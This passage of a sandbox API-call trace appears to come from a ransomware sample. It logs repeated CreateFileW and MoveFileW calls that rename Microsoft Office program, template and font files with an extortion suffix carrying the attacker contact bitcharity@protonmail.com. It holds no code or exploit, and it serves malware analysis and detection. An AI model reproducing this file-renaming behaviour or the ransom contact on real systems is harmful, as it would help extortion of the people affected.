CloseHandle (hObject=0x11b4) returned 1 [0278.539] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.539] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\VEHICL_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\vehicl_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.539] CloseHandle (hObject=0x11b4) returned 1 [0278.540] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.540] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\VEHICL_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\vehicl_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.540] CloseHandle (hObject=0x11b4) returned 1 [0278.541] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.541] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\VEHICL_VISIO2013_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\vehicl_visio2013_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.101] CloseHandle (hObject=0x11b4) returned 1 [0279.102] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\xlicons.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\XLICONS.EXE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\xlicons.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0279.106] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.106] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\DataType\\Address.accft.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\datatype\\address.accft.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.106] CloseHandle (hObject=0x11b4) returned 1 [0279.107] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.107] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\DataType\\Category.accft.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\datatype\\category.accft.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.108] CloseHandle (hObject=0x11b4) returned 1 [0279.109] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.109] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\DataType\\Name.accft.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\datatype\\name.accft.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.109] CloseHandle (hObject=0x11b4) returned 1 [0279.110] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.110] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\DataType\\Payment Type.accft.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\datatype\\payment type.accft.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.111] CloseHandle (hObject=0x11b4) returned 1 [0279.112] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.112] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\DataType\\Phone.accft.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\datatype\\phone.accft.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.112] CloseHandle (hObject=0x11b4) returned 1 [0279.114] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.114] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\DataType\\Priority.accft.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\datatype\\priority.accft.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.114] CloseHandle (hObject=0x11b4) returned 1 [0279.115] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.115] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\DataType\\Start End Dates.accft.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\datatype\\start end dates.accft.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.116] CloseHandle (hObject=0x11b4) returned 1 [0279.117] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.117] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\DataType\\Status.accft.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\datatype\\status.accft.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.117] CloseHandle (hObject=0x11b4) returned 1 [0279.118] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.118] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\DataType\\Tags.accft.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\datatype\\tags.accft.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.118] CloseHandle (hObject=0x11b4) returned 1 [0279.121] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.121] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\OFFICE\\AssetLibrary.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft\\office\\assetlibrary.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.122] CloseHandle (hObject=0x11b4) returned 1 [0279.122] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.123] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\OFFICE\\DocumentRepository.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft\\office\\documentrepository.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.123] CloseHandle (hObject=0x11b4) returned 1 [0279.124] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.124] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\OFFICE\\MySharePoints.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft\\office\\mysharepoints.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.124] CloseHandle (hObject=0x11b4) returned 1 [0279.125] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.125] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\OFFICE\\MySite.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft\\office\\mysite.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.125] CloseHandle (hObject=0x11b4) returned 1 [0279.127] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.127] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\OFFICE\\SharePointPortalSite.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft\\office\\sharepointportalsite.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.127] CloseHandle (hObject=0x11b4) returned 1 [0279.128] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.128] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\OFFICE\\SharePointTeamSite.ico.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft\\office\\sharepointteamsite.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.128] CloseHandle (hObject=0x11b4) returned 1 [0279.131] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.131] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\MS.DATABASECOMPARE.16.1033.hxn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft help\\ms.databasecompare.16.1033.hxn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.132] CloseHandle (hObject=0x11b4) returned 1 [0279.133] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.133] SetFilePointerEx (in: hFile=0x11b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\MS.EXCEL.16.1033.hxn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft help\\ms.excel.16.1033.hxn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.133] CloseHandle (hObject=0x11b4) returned 1 [0281.062] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.062] SetFilePointerEx (in: hFile=0x1188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\MS.GRAPH.16.1033.hxn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft help\\ms.graph.16.1033.hxn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.062] CloseHandle (hObject=0x1188) returned 1 [0281.484] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.485] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\CalibriL.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\calibril.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.485] CloseHandle (hObject=0x126c) returned 1 [0281.486] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.486] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\FORTE.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\forte.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.487] CloseHandle (hObject=0x126c) returned 1 [0281.487] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.487] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\FRABK.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\frabk.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.488] CloseHandle (hObject=0x126c) returned 1 [0281.489] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.489] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\FRABKIT.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\frabkit.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.489] CloseHandle (hObject=0x126c) returned 1 [0281.491] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.491] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\FRADM.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\fradm.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.491] CloseHandle (hObject=0x126c) returned 1 [0281.492] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.492] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\FRADMCN.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\fradmcn.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.493] CloseHandle (hObject=0x126c) returned 1 [0281.493] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.493] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\FRADMIT.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\fradmit.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.494] CloseHandle (hObject=0x126c) returned 1 [0281.494] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.495] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\FRAHV.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\frahv.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.495] CloseHandle (hObject=0x126c) returned 1 [0281.496] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.496] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\FRAHVIT.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\frahvit.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.496] CloseHandle (hObject=0x126c) returned 1 [0281.498] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.498] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\FRAMDCN.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\framdcn.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.498] CloseHandle (hObject=0x126c) returned 1 [0281.499] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: 